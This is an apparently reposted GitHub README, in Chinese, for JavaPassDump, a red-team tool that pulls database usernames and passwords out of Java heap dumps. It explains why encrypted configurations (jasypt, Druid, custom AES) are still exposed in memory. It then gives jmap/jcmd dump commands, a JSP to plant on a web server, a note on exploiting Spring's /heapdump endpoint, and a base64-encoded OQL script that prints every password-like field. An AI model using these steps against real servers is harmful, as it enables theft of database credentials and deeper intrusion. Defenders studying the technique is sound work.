timwhitez starred JavaPassDump
2023-1-18 17:43:45 Author: github.com(查看原文) 阅读量:28 收藏

JavaPassDump

背景:

红队实战中,有遇到数据库的配置信息加密的情况,有些甚至在Native层处理加解密,为简化红队流程,产生一个通用的数据库信息提取工具:JavaPassDump。

思路:

所有在Java层的数据库连接,最终都会维持一个DB Driver Object,其中会保留数据库的连接配置。思路一:基于经验的,匹配所有DB Driver,从内存中找到Driver Object,获取username/password字段 ;思路二:绝大部分的配置信息,在内存中,都是String类型的field字段,直接从内存中提取password字段的field值。两种思路的前提都是能够分析内存,尝试直接分析运行时内存,从中提取配置信息,无奈坑点太多,遂转入dump JVMHeap,直接通过OQL语言进行分析。

实践:

实战中,DumpJVNHeap大小从几M~几G左右不等,拉到本地分析不太现实,直接在线上分析拿到分析结果就行。这样,在流量层面,效率方面,更优化。为了更简单通用,采用思路二,直接提取password字段的值。

数据库常见加密案例

  • jasypt加密
	web.xml中配置 jasypt.encryptor.password:abc 
	或 java -jar -Djasypt.encryptor.password=abc xxx.jar
	spring.datasource.username: ENC(ik9FE3GiYLiHwchiyHg9QQ==)
  • druid非对称加密
	application.properties中配置 connectionProperties属性 config.decrypt.key=${first.spring.datasource.publicKey}
	或者自定义在jar包中
	first.spring.datasource.username = root
	first.spring.datasource.password = QMmZSCar/ZDXDc0PeewOjCAy5fnBh4CTG1bNN2/JpUMiP/Q9x4rkuTLrIUef04UzV/ix63mmN5yJOpuYG7yooA==
	#默认Spring publicKey
	first.spring.datasource.publicKey = MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJR+7qC9yg4OD6obbSeTasFDnOLTdUvuyRcyfBaBNPLlDl5IfAAvf3HwpM9j0F0sHh0M3kIzo301Evd2P/fc57ECAwEAAQ==
  • Spring 自定义加密
	继承PropertyPlaceholderConfigurer类,自定义属性加密方法,加密jdbc.properties中的属性值
	https://blog.csdn.net/tanggao1314/article/details/83302593
	继承spring后置处理器BeanPostProcessor类,自定义属性加解密方法
	https://segmentfault.com/a/1190000040298137
  • 自定义配置加密
   #摘自某运维应用系统
	public static void initDBConfig() {
		InputStream in = DBConnPool.class.getClassLoader().getResourceAsStream("dbconfig.properties");

		Properties prop = new Properties();

		prop.load(in);

		account_enc = Boolean.parseBoolean(prop.getProperty("account_enc"));
		enc_key = prop.getProperty("enc_key");


		String driverName = prop.getProperty(String.valueOf(sourceName) + ".driver");

		String dbURL = prop.getProperty(String.valueOf(sourceName) + ".db_url");

		String user = prop.getProperty(String.valueOf(sourceName) + ".db_user");

		String password = prop.getProperty(String.valueOf(sourceName) + ".db_password");


		if (account_enc && enc_key != null && enc_key.length() == 8) {
		  StringBuffer stringBuffer = new StringBuffer(enc_key);
		  String key1 = stringBuffer.reverse().toString();
		  user = new String(AES.Decrypt(AES.hex2byte(user), String.valueOf(key1) + enc_key));
		  password = new String(AES.Decrypt(AES.hex2byte(password), String.valueOf(key1) + enc_key));
		} 
	}
	

Usage command

注意
根据线上JDK环境,适配对应的jar,
OQLQuery7-.jar 适配JDK<=7
OQLQuery8+.jar 适配JDK>=8

除了线上环境,OQLQuery.jar也可以用在本地分析JvmHeapDump.hprof文件,例如:Spring的/heapdump接口,产生的dump文件,利用对应的OQL语句,也可以提取出密码参数


若WebServer是以JDK6启动的,生成的JVM 内存镜像, 所有String类型的变量值,都存储在字符串常量池中,无法直接通过field的值读取 

Tips: 常量池,可分为运行时常量池、类常量池、字符串常量池,在JDK6时,字符串常量池位于方法区中,在JDK7时,把字符串常量池移到了堆中;在JDK8时,把方法区干掉,换成了堆外内存的元数据空间,同时运行时常量池和类常量池跟着在元数据空间中,但字符串常量池仍在堆中;

jdk6 jdk7

获取JVMHeapDump
#jmap,jcmd 都是JDK自带工具,指定JVM pid 直接dump
>jmap -dump:live,format=b,file=/tmp/dumpHeap.hprof 5760  #live Object
>jmap -dump:format=b,file=/tmp/dumpHeap.hprof 19770  # all Object 不建议

>jcmd 5760 GC.heap_dump /tmp/dumpHeap.hprof

# 放置于webServer,访问时,dump当前JVM的heap到/tmp目录,windows系统,需要修改路径
>heapDump.jsp 
分析JVMHeap文件
java -jar ./OQLQuery.jar /tmp/dumpHeap.hprof dmFyIGZpbHRlciA9IHt9OwptYXAoaGVhcC5jbGFzc2VzKCksIGZ1bmN0aW9uIChjbHMpIHsKICAgcmV0dXJuIG1hcChjbHMuZmllbGRzLCBmdW5jdGlvbiAoZmllbGQpIHsgCiAgICAgIGlmKCBmaWVsZC5uYW1lLnRvU3RyaW5nKCkuY29udGFpbnMoInBhc3MiKSB8fCBmaWVsZC5uYW1lLnRvU3RyaW5nKCkuY29udGFpbnMoInVzZXJuYW1lIikgfHxmaWVsZC5uYW1lLnRvU3RyaW5nKCkuY29udGFpbnMoIlBBU1MiKSl7CiAgICAgICAgcmV0dXJuIG1hcChoZWFwLm9iamVjdHMoY2xzKSwgZnVuY3Rpb24gKG9icykgewogICAgICAgICAgdmFyIHRhZyA9IGNscy5uYW1lKyJ8IitmaWVsZC5uYW1lIDsKICAgICAgICAgIHZhciByZXMgPSAgImNsYXNzIDogIitjbHMubmFtZSsiXG4gRmllbGQgWyAiK2ZpZWxkLm5hbWUudG9TdHJpbmcoKSsiIDogIjsKICAgICAgICAgIGlmKCBvYnNbZmllbGQubmFtZS50b1N0cmluZygpXSAhPSBudWxsICl7CiAgICAgICAgICAgIHJlcyA9IHJlcyArIG9ic1tmaWVsZC5uYW1lLnRvU3RyaW5nKCldLnRvU3RyaW5nKCkrIiBdXG4iOwogICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgIHJlcyA9IHJlcyArICJudWxsIF1cbiI7CiAgICAgICAgICB9CiAgICAgICAgICBpZiAoZmlsdGVyW3RhZ10gPT0gbnVsbCkgewogICAgICAgICAgICBmaWx0ZXJbdGFnXSA9IHJlczsKICAgICAgICAgICAgcHJpbnQocmVzKTsKICAgICAgICAgIH0KICAgICAgICAgIHJldHVybiBudWxsOwogICAgICAgIH0pOwogICAgICB9CiAgICAgIHJldHVybiBudWxsOwogIH0pOwp9KTs=
oql语句
var filter = {};
map(heap.classes(), function (cls) {
   return map(cls.fields, function (field) { 
      if( field.name.toString().contains("pass") || field.name.toString().contains("username") ||field.name.toString().contains("PASS")){
        return map(heap.objects(cls), function (obs) {
          var tag = cls.name+"|"+field.name ;
          var res =  "class : "+cls.name+"\n Field [ "+field.name.toString()+" : ";
          if( obs[field.name.toString()] != null ){
            res = res + obs[field.name.toString()].toString()+" ]\n";
          }else{
            res = res + "null ]\n";
          }
          if (filter[tag] == null) {
            filter[tag] = res;
            print(res);
          }
          return null;
        });
      }
      return null;
  });
});

运行效果

result


文章来源: https://github.com/corener/JavaPassDump
如有侵权请联系:admin#unsafe.sh